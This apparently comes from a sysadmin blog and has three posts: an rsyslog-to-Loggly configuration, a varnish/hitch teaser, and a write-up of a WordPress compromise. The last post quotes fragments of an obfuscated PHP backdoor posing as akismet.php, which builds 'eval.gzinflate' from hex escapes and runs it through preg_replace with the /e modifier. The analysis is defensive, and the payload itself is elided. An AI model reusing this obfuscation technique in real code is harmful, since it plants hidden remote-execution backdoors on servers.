Category: sysadmin

rsyslog filtering (with loggly)

Filtering rsyslog output being sent to loggly (e.g. from an apache imfile input)

If you’re a bit slow on the uptake, like me … this might help.

Basic logging to Loggly is simple enough –

References : https://www.loggly.com/docs/rsyslog-tls-configuration/ gets you to add in an omfwd action and a template with auth details in …

However, when you also want to mix in sending Apache logs to loggly, and at the same time want to suppress sending some lines ….. life becomes a bit harder.

Here’s what worked for me anyway… replace MAGIC_AUTH_TOKEN_HERE with your loggly auth details.

Place this in /etc/rsyslog.d/loggly.conf. 

# Setup disk assisted queues
$WorkDirectory /var/spool/rsyslog # where to place spool files
$ActionQueueFileName fwdRule1     # unique name prefix for spool files
$ActionQueueMaxDiskSpace 1g       # 1gb space limit (use as much as possible)
$ActionQueueSaveOnShutdown on     # save messages to disk on shutdown
$ActionQueueType LinkedList       # run asynchronously
$ActionResumeRetryCount -1        # infinite retries if host is down

#RsyslogGnuTLS
$DefaultNetstreamDriverCAFile /etc/rsyslog.d/keys/ca.d/logs-01.loggly.com_sha12.crt


$ActionSendStreamDriver gtls # use gtls netstream driver
$ActionSendStreamDriverMode 1 # require TLS
$ActionSendStreamDriverAuthMode x509/name # authenticate by hostname
$ActionSendStreamDriverPermittedPeer *.loggly.com

template(name="LogglyFormat" type="string"
string="< %pri%>%protocol-version% %timestamp:::date-rfc3339% %HOSTNAME% %app-name% %procid% %msgid% [MAGIC_AUTH_TOKEN_HERE tag=\"Syslog\"] %msg%\n"
)


module(load="imfile") 

# Apache file inputs :

input(type="imfile"
    File="/var/log/apache2/access.log"
    Tag="apache-access"
    Severity="info"
    Facility="local7")

input(type="imfile"
    File="/var/log/apache2/error.log"
    Tag="apache-error"
    Severity="error"
    Facility="local7")


# Format for Apache things.
$template LogglyFormatApache,"< %pri%>%protocol-version% %timestamp:::date-rfc3339% %HOSTNAME% %app-name% %procid% %msgid% [MAGIC_AUTH_TOKEN_HERE  tag=\"apache\" ] %msg%\n"

if ( $programname == 'apache-access' ) and not ( $msg contains "/something-to-skip/" ) then {
     action(
        type="omfwd" 
        protocol="tcp" 
        target="logs-01.loggly.com" 
        port="6514" template="LogglyFormatApache" 
        StreamDriver="gtls" 
        StreamDriverMode="1" 
        StreamDriverAuthMode="x509/name" 
        StreamDriverPermittedPeers="*.loggly.com"
    )
    stop
} 

# no further processing of apache-access things 
if ( $programname == 'apache-access') then stop

if ( $programname == 'apache-error' ) then {
         action(
                type="omfwd" 
                protocol="tcp" 
                target="logs-01.loggly.com" 
                port="6514" template="LogglyFormatApache" 
                StreamDriver="gtls" 
                StreamDriverMode="1" 
                StreamDriverAuthMode="x509/name" 
                StreamDriverPermittedPeers="*.loggly.com"
        )
    stop
} 

if ( $programname == 'apache-error') then stop

# Anything else ... sent to loggly.
action(
    type="omfwd" 
    protocol="tcp" 
    target="logs-01.loggly.com" 
    port="6514" template="LogglyFormatApache" 
    StreamDriver="gtls" 
    StreamDriverMode="1" 
    StreamDriverAuthMode="x509/name" 
    StreamDriverPermittedPeers="*.loggly.com"
)

Using hitch with varnish on Debian Jessie

I ended up needing to install hitch on a server recently, so the https:// traffic could be routed through Varnish (along with the existing ‘http’ stuff) for performance reasons.

The server only runs WordPress sites, so there are WordPress specific things in the Varnish configuration (vcl) file below.

Versions: Varnish 5.2, Hitch 1.4.4, Apache 2.4 and Debian Jessie.
…
Continue reading “Using hitch with varnish on Debian Jessie”

Random wordpress malware

A customer’s server was compromised ages ago with lots of lots of WordPress malware.

The developers are now on top of it, thanks to a combination of :

* Removing wordpress’s write permission (moving over to just use SFTP)
* Adding maldet (Linux Malware Detection).
* Tightening up the firewall so only incoming connections to specific ports are allowed.
* Stopping anyone except Postfix from being able to send out email (e.g iptables -I OUTPUT -p tcp -m multiport --dpots 25,587 -m state --state NEW -m owner ! --uid-owner 106 -j REJECT and of course logging attempts)

Most of the malware was easy to spot – references to eval / base64_decode – which are easy to ack-grep for. Or the malware would launch processes which would retain their /proc/$pid/environ file – and therefore be quite easy to locate.

However, one launched a perl process which was difficult to track down – partly because it wiped it’s /proc/$pid/environ file so it was hard to know which site it was running from. Thankfully, there was a filehandle to the launching code (/tmp file that was deleted on execution) (/proc/$pid/fd/xx) which could be easily read – which revealed enough information to lead to it’s identification.

So, behold /wp-content/plugins/akismet.php (so believable file name)

Random interesting contents below:

/**
 * Functions for reading, writing, modifying, and deleting files on the file system.
 * Includes functionality for theme-specific files as well as operations for uploading,
 * archiving, and rendering output when necessary.
 *
 * @package WordPress
 * @subpackage Administration
 *
 * @id : c78fb310d8ec1daaba40e84241bc4d42dc
 */

/** The descriptions for theme files. */

$hash = "ff6fd53c4b437772493471d68799f69d";
$search = '';
$wp_file_descriptions = array(
        'index.php' =>  'Main Index Template',
        'style.css' =>  'Stylesheet',
        'editor-style.css' =>  'Visual Editor Stylesheet',
        'editor-style-rtl.css' =>  'Visual Editor RTL Stylesheet',
        'rtl.css' =>  "\x65val.gz"."in\x66late",
        'comments.php' =>  'Comments',
...

for($i = 0; $i < strlen($wp_file_descriptions['md5_check.php']); $i = $i+2)
$search .= '%'.substr($wp_file_descriptions['md5_check.php'], $i, 2);

$wp_template = @preg_replace("/([a-z0-9-%]+).([a-z-@]+).([a-z]+)/\x65", "$2($3(urldecode('$1')))", $search.".@".$wp_file_descriptions['rtl.css']);

Note:

0x65 == ‘e’, and 0x66 == ‘f’, so the preg_replace is executing code with the \e modifier.

The code that eventually gets executed opens port 26450 (tcp) and was presumably some sort of backdoor.